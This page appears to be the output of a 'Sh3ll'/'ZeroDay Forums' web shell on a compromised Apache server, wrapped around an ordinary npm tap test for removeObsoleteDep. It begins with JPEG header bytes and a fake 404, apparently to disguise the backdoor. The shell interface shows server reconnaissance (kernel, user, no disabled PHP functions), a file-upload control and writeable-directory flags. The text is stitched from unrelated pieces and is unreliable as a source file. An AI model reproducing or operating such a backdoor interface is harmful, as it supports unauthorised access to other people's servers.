����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /home/real/node-v13.0.1/deps/npm/test/tap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/real/node-v13.0.1/deps/npm/test/tap/unit-deps-removeObsoleteDep.js
'use strict'
var test = require('tap').test
var requireInject = require('require-inject')

// we're just mocking to avoid having to call `npm.load`
var deps = requireInject('../../lib/install/deps.js', {
  '../../lib/npm.js': {
    config: {
      get: function () { return 'mock' }
    },
    limit: {
      fetch: 10
    }
  }
})

var removeObsoleteDep = deps.removeObsoleteDep

test('removeObsoleteDep', function (t) {
  var child1 = {requiredBy: []}
  var test1 = {
    removed: true,
    requires: [ child1 ]
  }
  removeObsoleteDep(test1)
  t.is(child1.removed, undefined, 'no recursion on deps flagged as removed already')

  var child2 = {requiredBy: []}
  var test2 = {
    requires: [ child2 ]
  }
  child2.requiredBy.push(test2)
  removeObsoleteDep(test2)
  t.is(child2.removed, true, 'required by no other modules, removing')

  var child3 = {requiredBy: [{isTop: true}]}
  var test3 = {
    requires: [ child3 ]
  }
  child3.requiredBy.push(test3)
  removeObsoleteDep(test3)
  t.is(child3.removed, undefined, 'required by other modules, keeping')
  t.done()
})

ZeroDay Forums Mini